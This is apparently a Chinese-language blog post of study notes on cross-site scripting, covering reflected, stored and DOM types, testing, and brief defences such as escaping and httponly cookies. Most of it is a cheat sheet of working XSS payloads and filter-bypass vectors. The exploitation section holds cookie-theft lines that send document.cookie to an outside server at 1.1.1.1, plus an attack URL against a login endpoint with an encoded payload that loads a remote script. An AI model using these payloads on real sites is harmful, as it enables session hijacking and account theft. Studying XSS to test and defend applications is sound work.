zoukankan      html  css  js  c++  java
  • 关于xss攻击学习的总结

    关于xss攻击,网上相关的介绍很多,一搜索也是一大堆,这里我就对自己感兴趣的一些内容做个总结。

    xss简单介绍

    成因:xss是将恶意代码(多是JavaScript)插入html代码中。

    分类:

    1、 反射型

    2、 存储型

    3、 DOM型

    1、 XSS的危害是这么?

    攻击者构造可执行JavaScript的攻击链接,发送给受害者,多用于获取cookie,因为cookie可以使你伪装成受害者来登录。还可以定向到别的网站,下载病毒链接等等。

    2、 DOM型xss、反射型xss和存储型xss的区别?

    反射型xss是向链接传入参数时发生的,需要诱骗受害者点击。而存储型是存在服务器中的,比如发表的文章,供访问者浏览的信息等等,危害更大。

    DOM型xss属于反射型xss的一种,只是不通过服务器,DOM跨站是纯页面脚本的输出,只有规范使用JAVASCRIPT,才可以防御。

    因为DOM型比较难理解,所以找了一些链接有兴趣,可以在深入了解一下。

    关于DOM型XSS漏洞的学习笔记

    DOM-based XSS 与存储性 XSS、反射型 XSS 有什么区别?

    基于 DOM 的第三类跨站脚本

    3、 如何对网站进行测试?

    如果弹窗成功,说明存在xss漏洞,下面是几种常见的跨站攻击方法。

    <script>alert(document.cookie)</script>
    闭合或注释之前的语句
    "/><script>alert(document.cookie)</script><!--
    --><script>alert(document.cookie)</script><!--

    其他写法

    "onclick="alert(document.cookie)
    </dd><script>alert(/xss/)</script>
    <script>alert(/liscker/);</script>
    "><img%20src=1%20onerror=alert(1)>
    <marquee/onstart="confirm`1`">
    < a href=javascript:alert(1)>

    反射型XSS Poc:

    alert()函数过滤:

    <script>alert('xss')</script> 
    <script>confirm('xss')</script> 
    <script>prompt('xss')</script> 

    <script>标签过滤:

    <a href="onclick=alert('xss')"> click</a>
    123"><a/href=//www.baidu.com/>XssTest</a> <img src=# onerror=alert('xss')></img> <iframe onload=alert('xss')>

    base64加密

    <iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>

    setTimeout

    <svg/onload=setTimeout('ale'+'rt(1)',0)>

    过滤双引号

    <input onfocus=alert(1) autofocus>
    <select onfocus=alert(1) autofocus>

    chrome

    <img src ?itworksonchrome?/onerror = alert(1)>

    data形式

    <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></object>
    <embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></embed>
    <script src=data:%26comma;alert(1)></script>

    ontoggle

    <details open ontoggle="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#24050;&#26159;&#40644;&#26127;&#29420;&#33258;&#24833;&#65292;&#19968;&#26525;&#32418;&#26447;&#20986;&#22681;&#26469;&#39;&#41;">

    frame

    <frame src="javascript:alert(1)">
    <frame src="javascript:%20%0aalert%20%0d %09(1)">
    <iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />
    2134'></textarea><script>alert(/xss/)</script><textarea>

    url加密绕圆括号

    <svg/onload=alert(1)>
    <svg onload='JavascRipT:alert%281%29'>
    <svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">

     XSS漏洞利用方式:

    <script>window.location="http://www.baidu.com"</script>   重定向钓鱼
    <script>window.location="http://1.1.1.1/cookie.php?cookie="+document.cookie;</script>  接受客户端cookie
    <script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie; </script> 
    http://login.xxx.com/sso/m/mobile-login.do?next_page=http://m.xxx.com&f=coursek12xss",}});setTimeout(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vZHQzMDEuY29tLzAuanMnOw=='),0);({validate: {//

     XSS变种

    XSS变种的类型在于JavaScript能执行的位置有多少。

      1)confirm() 方法用于显示一个带有指定消息和 OK 及取消按钮的对话框。

    "/><ScRiPt>confirm(9174)</ScRiPt>

      2)跳转链接

    <a/href=//www.baidu.com/>XssTest</a>
    <a href="javascript:alert(1)">x</a>

       3)img类型的xss

    <img src='#' onerror='alert("XSS")' >
    <img src='' onerror=alert(/poc/)>

      4)对于过滤<>

    %27;alert%28/aa/%29;a=%27

       5)邮箱系统,存储型

    <STYLE>@import'javasc
    ipt:alert("XSS")';</STYLE>

       6)inframe框架执行JS

    <iframe src="javascript:alert(1)"></iframe>

    4、 如何防xss?

    1) 对特殊字符进行转义

    2) 直接将标签过滤掉

    3) 对cookie设置httponly

    之前一直不了解到底是干什么用的,我理解是限定对cookie的访问只能走http协议,而不能通过JavaScript获取到cookie。

    关于如何设置httponly?

    百度的(全) http://jingyan.baidu.com/article/5553fa82a8248c65a3393442.html

    java的  http://zhenghaoju700.blog.163.com/blog/static/13585951820138267195385/

    4) 对用户的输入内容做限制

    可以用正则对出入格式进行匹配。

    5) 对数据进行在编码处理

    参考:

    反射型XSS攻击 

    http://blog.163.com/biaoxiaoqun@126/blog/static/376791602014718103941487/

    https://www.cnblogs.com/seeker01/p/7921186.html

    关于xxs的一些利用案例

    背景:后台对以下字符进行转义:<、>、’、”。

    可以通过 u003cu003e来代替<>

    实际案例:

    后台输出JSON格式数据时,一般都会在前面添加转义符进行转义。

    理想情况:u003cimg src=1 onerror=alert(/xss/)u003e

    实际情况:

    document.getElementById("test").innerHTML =" u003cimg src=1 onerror=alert(/xss/)u003e";

    因为昵称被转义,u003c同样被转义了。

    针对于此情况,可以利用半字节

    [0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e

    参考:新办法绕过xss过滤-让xss来的更猛烈些吧

    ==================================================================

    余弦的主题---学习和记录大佬总结的经验。

    出处:http://weibo.com/evilcos?is_hot=1#1497420192019

    #姿势# XSS’OR -> CODZ -> VECTOR CODZ -> XSSMisc

    新增XSS攻击向量:

    <img/src==”x onerror=alert(1)//”>
    
    <div/style==”x onclick=alert(1)//”>XSS’OR
    
    <div style=behavior:url(“onclick=alert(1)//”>XSS’OR
    
    <div style=x:x(“ onclick=alert(1)//”>XSS’OR

    还有发散空间,用于绕过XSS过滤机制

    里面的:

    <script>`</div><div>`-alert(123)</script>
    
    <script>`</div><div>`+alert(123)</script>
    
    <script>`</div><div>`/alert(123)</script>
    
    <script>`</div><div>`%alert(123)</script>
    
    <script>`</div><div>`==alert(123)</script>
    
    <script>`</div><div>`/=alert(123)</script> # Only Edge
    
    <script>`</div><div>`*=alert(123)</script> # Only Edge

    关键key是:

    1. 反单引号
    2. 加减乘除等运算符的利用

    作用:

      拿来bypass找XSS

    这个XSSMisc,列的基本都是找XSS漏洞常用的VECTOR(向量),这些VECTOR都是拿来做过滤的bypass尝试的

     <title><img src=”</title><img src=x onerror=alert(1)//”>

    本质:<titile>这个标签的“解析高优先级”,很霸道的必须找到闭合</title>,找到了才肯罢休。利用这个特性,拆散src后面的双引号闭合,实现img onerror的执行

  • 相关阅读:
    构建之法阅读笔记03
    周进度条
    周活动总结表
    电脑桌面美化
    如何让自己进步,去做成一件事
    后台网站
    laravel RBAC权限管理学习
    laravle定时任务
    django第一次简单讲解使用
    css3网页的淡入淡出效果
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/6928462.html
Copyright © 2011-2022 走看看